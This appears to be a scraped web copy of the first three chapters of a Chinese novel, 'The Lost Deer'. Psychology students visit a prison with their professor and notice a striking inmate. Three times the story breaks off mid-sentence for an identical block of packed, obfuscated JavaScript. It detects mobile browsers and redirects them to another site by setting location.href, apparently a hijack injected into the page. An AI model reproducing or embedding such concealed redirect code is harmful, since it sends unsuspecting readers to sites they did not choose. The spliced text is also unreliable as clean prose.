《迷失的鹿》 1. 第一章 过了闹市区,车子驶下立交桥,绕着圆弧路一直往西,开出八公里外,郊区荒凉的景色慢慢映入眼帘。 公路连绵无尽,越往前视野越开阔,来往车辆稀少,一路畅通无阻。 道路两旁是绿油遍地的农场基地,撑造着各种形状的塑料大棚,醒目笔直的电线杆成排伫立至远方。 这边的环境显然有些寂寥。 “快要到地方了。” 前面开车的人出声打破车内长久的寂静。 车上的四个女孩闻声醒来,个个支撑着坐起身打哈欠。 行程约两个小时,此时已将近上午九点,大家的屁股都被坐得酸疼麻木。 副驾驶上的姜琦揉揉肩:“可算是到了,这鬼地方真够偏僻的。” “就是因为偏僻才到这儿,政府不会批什么好地皮,够管就行。”后排中间的唐佳理论着,问开车的人,“方老师,你说是不是啊?” 方老师笑笑:“你们啊,就保持现在这样的心态,待会儿进去可别崩,算是帮我完成一项任务了。” “不会的,方老师,我们是去协助你的,怕的话最初就拒绝了。” 坐唐佳左边的是何青青,她说完往前倾身看向右边靠窗的人,说:“我看白鹿是最紧张的,来的时候就没怎么说话。” 白鹿此刻正迷迷糊糊地睁眼看窗外,眼神呆滞惘然,还未回过神的样子。她刚才做了一个噩梦,醒来的时候全身每一处直冒热汗,退却后又开始发冷。 她打了个哆嗦,已经十月,秋意渐浓。 幸亏车内窒闷,没一会她又感到空气回温。 唐佳替她辩驳:“白鹿才不会,人家家里就是跟司法机关打交道的,光是听的就比我们见过的世面多了。” 她侧头见白鹿脸色奇怪,又问:“鹿鹿,你想什么呢?” 白鹿皱了眉,“我刚才做了个梦。” “大白天做梦?”姜琦笑着回头,“你梦见什么?” 白鹿摇摇头。 “你这是受心理因素影响吧?或许是来这儿太兴奋了。” 白鹿仍是摆头,她抓着头皮靠车窗,闭上眼睛,试图努力回想,获取一丝里面的场景,脑中却一片空白。 梦见什么她还真记不起来了,这种感觉苦不堪言,十分难受。 她拿起水瓶喝口水,对所有人说:“是个噩梦。” “别多想。”方老师从后视镜看过来,“我记得跟你们说过,梦是在人意识状态游移的情况下发生的,通常只有几分钟或者几秒。刚才我叫醒你们前不久有一段坑坑洼洼的道路,根据你们睡着时候梦境会与身体当时的睡眠环境相关来看,也许是受这一体感因素影响了。” 何青青点头:“嗯,怪不得我感觉在过山车。” 唐佳伸懒腰:“我一直没睡着,就闭着眼睛。” 姜琦引发深思:“梦是无法解释的,有人说梦境是相反的,有人却认为很准,这太难定论了。” 方老师同意:“所以,像你们研究心理学的,平常别拿研究别人那一套去研究自己,否则你们会发现痛苦的那一面。” 何青青补充:“就是把自己了解得太透彻了吧。” 这时,白鹿在后面问:“做的梦死活想不起来怎么办?方老师,你有什么方法吗?” 方老师说:“别执着这个,多看看现状就好了。” 唐佳惊奇:“你还打算再回到梦境里面去啊?” 白鹿自然认为这不可能,可心理学上不还有很多未被广泛传播探讨的奥秘么,她觉得这种可能性是存在的。 一旁的唐佳突然一脸神秘,伸出双手抓住白鹿的肩,开玩笑道:“最近我在一本专业书上学了基本催眠法,要不姐姐现在给你催眠回去试试?” 白鹿还没说什么,前头的方老师变了脸色,制止道:“千万不能试,这种做法严令禁止,没有任何过关的专业技术,都不能随便对人催眠,你们别自作聪明。” 唐佳吐吐舌小声说:“我就是看了个一知半解。” 姜琦回头恐吓:“你小心犯罪,警察叔叔抓你。” …… 白鹿望着外边湛蓝的天空,净透地一尘不染,远处有民居养了成群的鸽子,在低矮的草棚顶上来回飞旋。 车内大家轮流讲着话,欢声笑语一片,白鹿听着耳塞内旋律欢快的音乐,不知不觉那个无法言喻的梦境也逐渐消散了。 * 不一会儿,车子开过一座长桥,底下是几段交错的铁轨,一辆火车轰鸣开过,席卷尘嚣,由近及远。 往前,是一大片高树密林,绿化围植地很完善,被遮挡的建筑若隐若现。 渐渐地,树木稀疏,暗红色高墙显露出来,高墙顶上罗列密密麻麻的圈形带刺铁丝网,以及长排横向布满的高压线,在几米的高空中阻绝着内外的一切联系。 沿途绕完高耸的围墙,寻到门卫入口处,车内的几个人不约而同看向入目那几个庄重威严的大字。 XX省江司监狱。 车速尚未慢下来,车内的气氛却率先低沉严肃起来。 姜琦在前面迫不及待地翻包,急嚷道:“哎,我的墨镜呢,墨镜去哪了?” 唐佳手上拿出一副,“在我这儿,你出门的时候不是说你那儿放不下嘛。” 何青青也在那儿忙碌地装饰着。 白鹿默不作声,拿出一个口罩,安静地戴上。 方老师见她们个个包裹严实的派头,好奇又好笑道:“你们都怎么回事情,这把自己当成明星了是吧。” 姜琦在一旁心虚解释:“老师,这不是头一回来嘛,这儿什么人都有,万一被人记住就麻烦了。而且……”她低声说,“听说里面的男人多,长年没有见过女的,我们这是为自己的安全着想。” 方老师听完更无奈地笑,“呵行吧,你们考虑得还是挺全面的嘛。你们都这样了,那我这个讲师到时候的危险系数不是更大?” 唐佳插嘴夸张道:“老师你不一样,你是召唤他们内心的善良,救赎他们深处的灵魂,你对他们来说就是普济众生的救世主。” 方老师被逗笑:“你可别抬举我了。” 方舒平是C大社会学院心理学专业的资深教授,拥有多年来心理研究成功的案例,主攻社会心理学、教育心理学、健康心理学及犯罪心理学等。近年来因犯罪心理学研究经验丰富,因此成为司法系统特聘专家,偶尔前访监狱展开几期心理健康咨询课程。 原本每次她都是只身前往,由于这一届大四生开题报告刚出,她组内一整个宿舍的人因爱看美剧从而迷上犯罪心理学,为了让她们有个实地考察的案例素材,因此这次行程特地叫上她们一块陪同。 几个姑娘当初听着新鲜,毫不犹豫就答应了。 没想到这才刚到门口,防范心就一个比一个重,果然是一群还没上过社会的人。想法简单,处事谨慎。 方舒平在门卫附近停了车,对她的学生说:“都把身份证拿出来,去警卫那儿做个登记。” 登记流程较严格,门口的警卫看着这一群青春活力的女大学生,调侃道:“大学生来这儿参观啊,稀奇少见。” 完事后,大伙儿再次安静地回到车上。 前方伸缩门往一边缓缓打开,车子驶入监狱,朝着警卫的指向走,找到一处空位后停下来。 此时烈日当头,阳光透过高墙外的树叶间隙洒下来,迎面阵阵清风吹拂,温度恰好。 白鹿她们不敢乱跑,跟着方老师一路往警体中心楼走。 沿途的小道上,一面全是密密的铁丝网,牢固坚硬不容越界,将东西两区划分开,里外两个世界。 她们走过一处,不约而同地往铁丝网里面好奇张望,透过大面积严密遮挡视线的灌木丛和爬藤,能望见那处有一片蓝灰色的人影陆续跑过,随之还传来类似空旷草地上的嘈杂声,间或包含男人们气壮山河的吼声。 “这是犯人们在放风,或者是在集合运动。”方老师解释给她们听。 白鹿问:“这儿有多少犯人?” “五千以上,不过他们按照剩余刑期分区管理。” 何青青也有疑惑:“我怎么听到的都是男人声音,这儿没女人吗?” 唐佳说:“监狱的男女分开管理,能让他们见着面嘛,那还不出大事。” 姜琦好奇地停下脚步,双手抓住铁丝网,揪住几片叶子枝扒出缝隙,双眼眯起:“真的都是男的,他们在操场上运动,老的壮的年轻的都有,统一穿囚服。” 白鹿回头,见姜琦落在后面,忙过去揪她下来,警示道:“别看了,这上面都是探头呢,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849964|175805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道的还以为你想翻过去。” 姜琦一听浑身起激灵,墨镜后面的眼睛小心翼翼扫着铁丝网顶端,果然每隔几米就是两个反向探头,时刻监视着分区内各个角落的动向。 这儿每一处,戒备森严。 到达中心大楼外门口,有两个狱警对向笔直站着。 方老师上前拿出证件给他们看过,一行五人被允许进入。 有指导员出来迎接,带她们走过一道道森冷无光的走廊,到达尽头的接待室,说等犯人集合归来后,讲课就能开始。 白鹿刚要挑位置坐下来,却见唐佳不安分地跑去一边窗前兴奋,激动地唤着其余人说:“快点过来看,好多人!” 方老师见惯不怪,摇了摇头。 姜琦率先被吸引地跑过去,白鹿与何青青随后也围上去,几个人交叠着身子趴在窗口处,像是看新奇的物种,眼睛一瞬不瞬地盯着远处操场中心被召集的犯人们。 他们统一穿蓝灰色囚服,肩背上一道道蓝白相间的竖条纹,齐整地排着队伍听从指令。狱警们口哨声尖锐吹响,一支支队伍便像是学生们出操回归般,规律有序地朝同一个出口处走。 这是一群曾经犯下过罪恶的人,也是一群正在接受惩罚的人,更是一群被剥夺自由与世隔绝的人。 他们当中,有人将长眠于此,至死都无人知晓;有人则度日如年,期盼有生之年走出铁门仰望另一片天空。 人总在意识到犯罪的那一刻起,开始恐惧所要承受的代价,再多悔悟都是徒劳。 …… 八分监区的监区长进门的时候,看到的便是这么一副类似静止的画面,他身穿深蓝色警服,先是朝方老师熟络地握了握手,然后指着窗前,问:“这都是你的学生吧?” 白鹿她们听闻后面有声,赶紧从窗前脱离,规规矩矩回身站好。 方老师指道:“向监区长问好!” 四人异口同声:“监区长好!” 监区长和蔼点头,看着她们的装扮不由讶异:“呦!现在学生这么打扮?” 方老师不好意思地笑笑,随即命令她们纠正:“赶紧拿下来,正常点,警官们都在,害怕什么。” 几人面面相觑,白鹿率先摘掉口罩,剩余人也纷纷拿下墨镜。 监区长看明白怎么一回事,了然一笑:“哈哈,女孩子警惕性比较高,这是桩好事情。不过今天你们不用担心,待会儿听课的是八分监区的犯人,剩余刑期都不超过三个月,是下一批刑满释放的。这些人思想得到改正,积分表现也良好,就把他们当做外面社会上的人,别到处乱走就行。” 话虽这么说,可但凡一天还在监狱里的,都不会被外面世界的人所接受认可。 众人等了会儿,门外走廊上渐渐传来熙攘声,随后是整齐中带着错乱的步伐,狱警们指挥着犯人逐一步入听课教室。 他们表情轻松自然,四肢皆是自由的,从门口鱼贯而入。 男人们剃着平头,身着清一色囚服,平均年龄大约三十左右。 待到释放前期,对自由的渴望愈发显著,态度一致要端正良好。 待八分监区的囚犯全部入座,方老师和监区长也坐在讲台上准备开课。 在这个过程中,白鹿她们选了第一排的位置坐下来。 姜琦靠窗,随后是唐佳、白鹿、何青青。 从犯人们进来的那瞬起,白鹿就开始关注着,她刚才扫过的那一眼,对视到了一些犀利年轻的眼神,里面火光簇簇,虽然个个面无表情随心所欲,却无形中涌动着黑暗边缘的危险。 白鹿在心理学上的判别一向很准,为了验证猜测结果,她问旁边的人,却一无所获。 其余三人纷纷表示刚才没有抬头。 白鹿无语,得了,就她一个露面的。 可经她这么一说,她们个个表现出一副紧张兮兮的样子。 唐佳连头都不敢侧,只是歪下靠过来悄声问:“你真的看到了危险的眼神?” 白鹿只说:“不善良。” 何青青被吓出了胆,害怕问:“他们不会扑上来吧?” 白鹿轻笑,“我们后面两排没人。” 她这话刚说完,就听见教室末排的方向有人吹起口哨声,伴随着耍弄的语调:“这学生妹妹是干什么来的?” 2. 第二章 白鹿正在写字的手顿住,她拿过手遮住半张脸,回头去寻找刚才那个声音传出的角落。 唐佳她们好奇,也放下戒心纷纷回头。 此刻,容纳了近百人的讲课厅安静下来。 白鹿找不准刚才是谁说话,只见站在最后面巡视的管教走到某一处,用手拍了拍一个人的头,手上的警棍敲击桌面,呵斥道:“规矩点!” 白鹿找了个空隙歪过头去看,那是一个肤色黢黑的男孩,脸型窄长,胳膊肘细得跟竹竿似的,整一个猴精模样。这人在管教的严厉警告中,扯开嘴皮无赖地笑了笑,笑得相当猥琐。 与他并排坐着的几个男的也在笑,视线挡住了看不清,但约摸都是二十出头的年纪,估计是一块犯事的团伙,在外不安分在里也不正经。 唐佳她们看得一阵恶寒,赶紧回头眼不见为净。 白鹿盯了几秒才缓缓转回来,这一过程中,她却产生某种强烈的感觉,似乎后面有一道视线一直注视着自己,可刚才望着的时候又没有发现焦点来源,只觉得如芒在背。 她挠了挠头,不明白这种感觉是为何,拿起笔专心听方老师讲课。 讲课模式与在大学教室差不多,她们一宿舍的人坐前排位置,最后排有闹事破坏课堂纪律的,唯一不同的是,这里是社会教育课堂。 后来白鹿注意到,这教室并非都是年纪轻的,只是后面那个团体太闹腾,每次笑起来就跟个除不去的魔障似的。 课听到一半,唐佳提出要上厕所,称刚才水喝多了。 姜琦低声说:“你就不能忍一忍?” 唐佳憋急了:“我忍不住啊。” 何青青:“监区长让我们别到处乱走。” 唐佳苦嚷:“我生理问题总得解决吧?” 白鹿放下笔,说:“我陪你去吧。” 何青青先让出空间,唐佳和白鹿小幅度动作猫着腰走出去。 一出了教室门口,唐佳就大口地喘气,像是才从一个苦闷的氛围中解脱出来,她对白鹿说:“我快压抑死了,跟一群犯人坐一起听课,想想倒也有点刺激,就是太别扭了。” 白鹿没这么大反应,“监区长说了,这儿都是快刑满释放的人,不会有你以为的变态杀人魔存在的。” 唐佳不以为然:“那你先前不也戴着口罩嘛……” “……”白鹿摸了摸脸,“我姑姑说防人之心不可无。” 唐佳撇撇嘴,她将白鹿拽过去,两人勾住手腕一块走。 走廊太长,房间门太多,俩人一开始瞎找没找着,后来问了人才找准。 进了女厕后唐佳又说:“我看后面那几个人挺油滑的,你看到那副样子没,说不定就是抢劫强.奸卖毒品被抓的,我说这种人年纪轻轻的不懂悔悟,以后出来肯定还会犯事,干脆就别放出来了。” 白鹿抿唇,还未发表意见,却似乎听见临近空间有一丝几不可闻的嘲弄声,她静了静觉得是幻听,没有放在心上。 白鹿走到镜子前看着自己,说:“人总有改过自新的机会,法律只针对于犯罪的人,你看不惯不代表他们还会犯罪。” “所以方老师说你最适合做心理咨询喽,因为你对任何人都没有偏见。” 厕所味道有些重,白鹿洗了手甩干水渍,边擦手边往外走,“那是因为他们来咨询的时候,第一态度是选择相信你……” 一只脚才跨出厕所门槛,白鹿猛地顿住,话说到一半停了,她表情霎时僵愣,一双眼睛笔直盯向左边门口同时出来的人。 一个穿囚服的男人,身边跟着一个管教,看样子刚也在听课现场。 男人身材高大健硕,只留了一个侧面,给白鹿的第一印象是五官很深刻,轮廓线条立体,乍一看这气质与着装一点都不相衬。 白鹿沉默无言地观察了两秒钟,男人便有所感应地侧过头,一双漆黑深邃的眼睛慑人地望过来,像拥有透视力般,直接将她的脑壳望穿。 白鹿原地怔了会神,醒悟过来后立刻将脚缩回去,身体很怂地回到厕所门内,阻隔了对外交流的视线。 光凭直观感受,那是一张年轻气盛的脸,年纪就跟学校里的男生差不多。 她才想了一会儿,听见一道清晰的男声响起:“龙哥,你等等我。” 是刚才那个吊儿郎当的瘦猴。 不过目前白鹿并不关心为什么他们也在附近,而是好奇这声音的穿透力,仿佛就在隔壁…… 白鹿狐疑抬头,看向厕所天花板的角落,这才发现这儿还是旧时的设计,男女厕之间的墙壁顶部有一大片是竖条镂空的。 也就是说,刚才唐佳跟她所发的牢骚话,全被他们一字不落听去了。 白鹿忽然想起刚才被她遗忘的一声轻屑,以及外面男人看向自己的眼神。 这时候,唐佳解决完出来洗手,她自言自语:“龙哥是谁?” 隔壁没人说话了,同时传来一道水声。 白鹿做了个噤声的手势。 唐佳咽了咽口水,怛然失色地看着她,似乎也明白是怎么一回事了。 过一会,那边又没动静了,有管教催促:“好了赶紧出来!” 有脚步声在门外响起。 白鹿快速走到门口,掩上厕所门,遮挡外人经过后往里瞄的视线。 唐佳走过来,用手指了指隔壁:“刚才那儿有人?” 白鹿耸了耸肩,她听到脚步声陆续走远了。 唐佳强装镇定,自我安慰:“没关系,反正他们又不知道我们是谁。” 白鹿沉着气没出声,不知道为什么,她相当肯定,那个叫做龙哥的男人就是先前在教室内一直注视着她的人。 这种猜测难以言喻。 回到教室内,白鹿再次印证了这一想法,她进去后视线直接锁住后排角落,很快找到焦点来源,魁梧的男人果真靠坐在那里,抱着双臂,目光迎合坦然看她,好整以暇。 白鹿低头走回原位,之后再也没有回过头。 课程结束后,方老师跟监区长交流了会,又跟这些领导一一告别,接着招呼白鹿她们一块整理完毕,率先撤离。 几人出了大楼,外面阳光愈加浓烈。 白鹿觉得有些晃眼,脑中始终插着一根刺,她下意识回头望向二楼某一个窗口,那儿正好有强光反射,看不清里面。 姜琦走着按起肚子,说道:“方老师,都大中午了,回到学校也该迟了,我们找个近点的地方请你吃饭吧。” 方老师看她们,“你们饿了?这地方偏僻,可没几家菜馆子。” 唐佳愁着:“那我们上哪吃?我还真饿了,你们饿不?” 这时白鹿身边走过两个警卫,他们手上端着餐盒子,是打算回值班室边看守边吃。 白鹿随口一问:“这边食堂伙食怎么样?” 唐佳一听吓一跳,“你还打算在这儿吃?给犯人吃的菜,能好到哪儿去啊。” 姜琦也不知从哪听来:“监狱的菜可是死难吃,都没油水炒过,基本上就是清水煮,那些萝卜菜根子泥什么的都在上面,据说洗都不洗。” 何青青不这么认为:“这儿还有领导们呢,大家都是人,怎么就吃的不一样了。” 方老师见她们你一句我一嘴争论着,摇了摇头叹气:“你们这都是从哪看来的,上世纪的电影?别自己乱猜,我以前去吃过一次,菜就跟咱们学校差不多,价格或许还便宜点儿,你们如果抵不住饿,可以去吃吃看。” 大伙儿轮流相视,最后姜琦看向白鹿,唐佳看向白鹿,何青青也看向白鹿。 白鹿:“你们都看着我干什么?我就算是一头鹿,也不能生吃。” “……” 其实大家看她,不过是白鹿在她们四人中,比较能拍板做决定。 方老师见状又补充: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849965|175805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你们别想多了,犯人吃的都是大锅菜,大食堂排队吃,也没传说那么差劲,领导和工作人员专门吃小灶,在隔开的区域就餐。” 白鹿以前听姑姑提起过,说的好像也是这么回事,如今难得进来一趟,新奇感正冒着,想去参观体验一回,说道:“那咱们去看看吧。” 时间已到晌午。 大家对提议没意见,于是方老师带头领着她们往食堂方向走。 进食堂的路线由侧门入,迎面就碰上八分监区长,他回头一看是她们,热情招呼:“哎呀,方老师,正想着打电话找你呢,刚才你走得太急,都没来得及叫上你们,在这儿一块吃了再走吧,我请客。” 姜琦她们摆摆手,“不用不用,我们自己带钱来了。” 监区长诶一声摇头:“你们没有饭卡,这儿不能用现金。” 大伙儿于是没拒绝监区长的好意,一路边说边走进开小灶的饭厅。 由于这儿范围小,仅仅是犯人食堂角落独立隔出的一间,怪不得刚才不是从正大门进。双方不互通出入,但隔板全是透明材质,不管是从里望外还是从外望里,视野都相当清楚。 小灶区地盘小,摆着约五十余张座位。 一桌四人,摆布均匀。 白鹿没啥胃口,跟何青青找靠边空位坐下来,让姜琦和唐佳去点菜。 她手放餐桌上,手心摸到一股黏腻,是长年累积浮上的一层油,比学校食堂的还厚。 白鹿习惯性抽出纸巾,跟何青青低头擦桌子。 擦着擦着,她感觉身边坐下一人,某一处的光线被笼罩住了。 并非她所在的四人桌有人来了,而是靠近她边上的隔板外。 白鹿这才发现,这挡板两边的塑料桌椅都是同一套,由此划分为两个小灶区域,一处是提供给工作人员的,另一处便是额外给有伙食需求的犯人们。 而此时坐在她挡板左边的男人,身上套着松松垮垮的囚服,坐下那刻衣背裤管各处紧绷,显出完美流畅的身体线条,结实又饱满。 不用细看,白鹿便知他是谁,刚才瘦猴口中的龙哥。 白鹿用余光淡扫了眼,他没看过来,捋起两边袖子,翻着手上的几张纸,神情格外专注,拿着铅笔不知在画什么。 没过一会,跟他一块搭伙的人过来了,有三个男的,统一囚服色,套在身上显得宽大又晃荡。不过他们没在意这些,也是过去两个人点菜,留一个瘦猴坐在龙哥对面。 这相隔的两张桌子离得极近,若是没有挡板,差点就会被人误以为是同一张桌,而白鹿也毫不怀疑屁股底下的椅子跟左边那男人是连在一根杠上的。 因为刚才他坐下的那一刻,她能清晰感觉到一股重量压下去了。 她仰头看挡板顶端,上方空气是流通的,想来这儿原先并没有阻隔,不知后来有什么要求,才又打了个隔间。 何青青胆小惧事,纸巾擦到一半停住,跟白鹿轻声商量:“我们换个地方吧。” 白鹿看向区域周围,入目皆是穿制服的警员,每张桌子上都有人。 她摇摇头表示算了。 将脏黑的纸巾堆到一边,白鹿摸出手机看消息,这个过程她迅速将视线往左边处带过,相当顺其自然。 她看见的是一张画着类似设计图纸的样稿。 那一眼太快,她没有看清楚具体是什么,只心中吃惊,这人还会画设计图? 可当将目光收回来,白鹿不期然又跟坐在斜对面的瘦个子男对上视线,对方戏谑一笑,翘起嘴尖似乎吹了声口哨,眼神放肆赤.裸地瞧着她。 白鹿下意识摸脸,眉间皱了皱。 她徒劳地用左手罩住头顶,面部转向里侧,却是多此一举。 那黑瘦男孩当时似乎还说了句什么,白鹿听不清也没看清,低头将视线瞄向桌下面,意外地发现这孩子的双脚被他对面的龙哥给连踹了几下。 3. 第三章 小灶饭厅区域上方。 被踢的哀嚎声从一处传到另一处。 厅外,有人在上蹿下跳。 何青青与白鹿视若无睹,撇过头看别处,专心等着姜琦和唐佳端菜回来。 后来等唐佳姜琦一走近,发现她俩脸色难堪,抬头瞧对面,隔壁桌的囚犯们正猖狂地看着她们,虎视眈眈,即使隔着挡板,也能想象出猥琐的笑声。 姜琦替大伙不平,说想到一个办法,转身就跑得没影了。 隔一会,她走回来,手上提着一把水壶和一卷废旧报纸。 大伙儿立刻明白怎么做了,将水倒入水杯,洒到隔板上,水流顺着纹线歪曲滑落下来,男人们的脸渐渐模糊。 一张张报纸被摊开迅速糊了上去,在上面拼接贴满。 大概贴了五六张,面积之大足以将吃饭的视线给严密阻挡。 姜琦拍拍手解气道:“哼!看他们还怎么狂。” 何青青用手在纸上压了几下,对白鹿说:“鹿鹿,没事啦。” 白鹿倒也不是怕这群男的在那头调侃什么,只是她旁边那位,显然早就认出她在这里。她一直觉得他总会瞟一眼过来,但意料之外的,他从头到尾都没有抬头。 不是不屑,而是似乎早已看穿,所以并不过于好奇。 白鹿想起那个犀利到让她无所遁形的眼神。 菜上齐了,大伙一块围桌子开吃。 五菜一汤,菜品相当丰盛,一条红烧鲫鱼、四个煎蛋、茄子肉末、包心菜炒豆皮、板栗鸡肉、番茄鸡蛋汤。 红烧鱼吃起来麻烦,唐佳跟姜琦都不爱吃,留给耐心挑刺的白鹿与何青青。 于是她俩将盘子挪到一边,合起来解决。 唐佳说:“想不到这儿菜吃着还行,菜单都比我们学校小窗口那要好多了。” 姜琦扒了几口饭,瞥一眼远处,小声说:“刚才我叫你别点了,你还点,这最贵的板栗鸡肉,我估计那个监区长自己平时都不怎么吃呢。” 唐佳不同意了,她将筷子上的鸡肉给放了,头缩下来讲理:“我点的算多吗?这才几样,搁着我们以前在外面聚餐,不还要再加两道菜嘛?再说了,监区长自己叫我们尽管吃,你哪点看出来他不乐意了。” 白鹿插话:“好了好了,赶紧吃饭吧,别浪费就行了。” 何青青也看周围:“是啊,别吵了。” 唐佳不满意,她心中满腹牢骚,视线一转,看向那堵“报纸墙”。 纸沿底下露出对面餐桌一角,男人们卷起袖子也在忙碌地吃。 唐佳眼珠子一转,心血来潮,放下手上的筷子,拿起手机站起身来。 白鹿嚼着饭粒,抬头看她:“你要干什么?” 唐佳朝她笑笑:“实地考察。” “你不就在实地考察吗?”姜琦头疼喊她,“旁边人都在看你呢。” 实际上,这个时间的饭厅已经不剩几人了。 唐佳不为所动,打开摄像功能,踮脚撑着身子将手机放报沿上方,对准下视镜头,手指点了几下,连续快速的拍照声“咔嚓”传来。 兴许对面发现了,在唐佳连续按完后坐回位置上,装作若无其事继续吃菜时,有人在对面重重地敲了几下“报纸墙”。 这是警告。 敲的位置在何青青那边,她被吓得坐立不安,嗔怪无语地看向唐佳:“你看你……” 唐佳无畏地耸肩,她反而幸灾乐祸,边吃饭边打开刚才那几张照片,模式都差不多,她选了其中一张放大细看。 大伙儿好奇地将脑袋凑一起。 呵,对面的菜色居然比她们还要好,几乎盘盘是肉。 白斩鸡、红烧肉、糖醋排骨、素炒肉、以及同款板栗鸡肉…… 桌上的女孩们都不由吃惊。 姜琦张大嘴,“这就是传说中进去人的伙食吗?” 白鹿摇摇头:“不可能天天这么吃。” 唐佳猜测:“也许是他们家里人送生活费来,有钱想吃什么不行。” 何青青不明白:“可要是经常这么吃,伙食费挺高的呀。” 白鹿心中有底:“我听我姑父说起过,监狱伙食费有控制,家里人不能送太多,不然这改造就没意义了。他们有干活自己赚钱,好像一个星期有一次吃肉的机会。” 姜琦啊一声,指着外面大厅,不敢置信:“也就是说,那些吃大锅菜的,里面没点肉?” 唐佳嗤笑:“或许可以考虑来几只苍蝇青虫。” 何青青听着难以下咽。 白鹿将视线转向左边桌下男人脏乱的裤脚,说:“这样一餐,也许够他们拼力干几天活了。” 姜琦听着好奇心愈发重起来,“他们干一天活赚多少钱啊?” 白鹿摇头:“不清楚。” 她姑姑是律师,姑父是法官,平常各种交道打得多,听着听着她也了解一些,今天亲眼见到犯人的食堂,还是不禁触目。 她刚才看见大锅菜那边,囚犯们端着盘子一个个走出来,上面堆满了小山高般的炒白菜,或者炒土豆丝,来点萝卜粉条馒头,里面夹杂几条肉丝,配上一大瓢米饭,单一的色调,令人毫无胃口。 长期在这样的环境下,吃惯了寡淡清汤,小灶这边简直就是向往的天堂。 唐佳咬着肉,低下头从缝隙看过去,叹气说:“那他们还挺会享受,可怜晚上又要吃大白菜了。” 白鹿剐她一眼,“你管自己吃吧。” 姜琦也不满意了,怼唐佳:“你伙食费高,每餐吃大肉,是不会懂得吃纯素菜的感受滴。” 唐佳捏捏腰上的肉,反驳:“谁说我不吃菜,我最近胖了,我要吃绿色蔬菜减肥。” 何青青笑着戳穿她:“你说过的这句话比你吃过的青菜还多。” …… 大伙儿怼了一阵,又陆陆续续吃饭,结果这几道菜吃到底有些油腻,每盘都留了点,还是做不到不浪费。 白鹿擦了擦嘴,视线低下去,不经意又去看左边,意外发现隔壁这桌人竟还没走,她以为她们吃得已经足够慢了,没想到还有更慢的。 叫龙哥的男人倒是吃完了,一张纸和笔放在身后,上身往后靠坐,一条腿曲起搭另一腿上,显然是吃饱了在小坐休憩。 借由报纸的遮挡,白鹿专注大方地看起来,蓝灰色的裤管套在男人腿上,裤子外接线处是白色的短斑马线,一直延伸到裤脚,底下一双军用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849966|175805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鞋,看起来十分寒酸。 不过她联想到那张冷峻的脸,觉得这寒酸味足以被消灭到无踪无迹。 白鹿不知道男人此刻在做什么,他们整日与高墙铁门打交道,没有外面年轻人基本的娱乐消遣,就连平常人拿不离手的手机也不可能拥有,这样一想就觉得有多枯燥乏味了。 想到这,白鹿突然也升起了胆量,学唐佳刚才一般,将手机打开后置摄像,不过她机智地提前关掉声音,然后换了视角,手伸到桌子中下面,悄悄对好角度,不动声色地调了方向多拍了好几张。 她做贼心虚,深怕男人也突然间用拳头砸过来,那她估计脑壳会当场被砸穿至丧命。 由于手伸下去,她身子也低倾,看见男人的袖口被卷起几层,露出健硕有力的小臂,肤质呈小麦色,因为经常劳作,那儿暴起几根青筋,底下力量勃发。 白鹿看迷了眼,没一会却发现男人猛地站了起来,收拾起桌上的碗盘。 他们要撤走了。 她迅速收好手机,将它放到包里,暂先压抑着好奇之心,也跟着姜琦她们一块拾掇好准备离开了。 起身的时候,白鹿看着报纸上沿处,她的头没达到那个高度,而对面的男人却超过不少,半个头露在那儿,她估摸起他的身高。 白鹿问平常眼神最好的姜琦:“你猜他有多高?” 姜琦看两眼,说了大概:“至少一米八五吧。” 白鹿抿唇,她才只有一米六七。 唐佳唯恐不乱提道:“比你家乔律师高吧?” 白鹿被梗得说不出话来。 乔律师叫乔明杰,是姑姑同事的儿子,暑假里俩人被介绍认识,当时较谈得来就交了个朋友,后来乔律师对她表白说我做你男朋友吧,白鹿想想没理由拒绝就说了声好。 现在想来当时实在太草率,目前他整天忙着出差打官司以及接新案子,而她却闲得在找案例选论题中进退两难,两人基本上只靠手机聊天发信息,见个面也相当困难。 白鹿觉得这个恋爱谈得一点激情都没,不温不火就如火苗即将熄灭的样子。 她向往的爱情该是疯狂炽热的,霸道进攻的,无畏无惧的,仿佛冥冥之中就有那么一个人,一直站在某个角落等她,只是她还没有发现而已。 她敢肯定,乔明杰不会是那个人。 回程路上,大家困得直接倒车上睡着了,白鹿点开手机相册,查看刚才偷偷拍下的几张。 结果,没一张让她满意的。 她总共拍了十张,有一半是黑影死角或者模糊不清的,她一一删了。 剩下五张,她每张都看了,就算是找茬都找不出不同点。 为了不占内存,她同样删除了四张,最后只留下一张。 照片中,男人没有露眼睛,镜头中只有鼻子下巴部分,刚毅的线条让她联想出上边的模样该是怎样的。 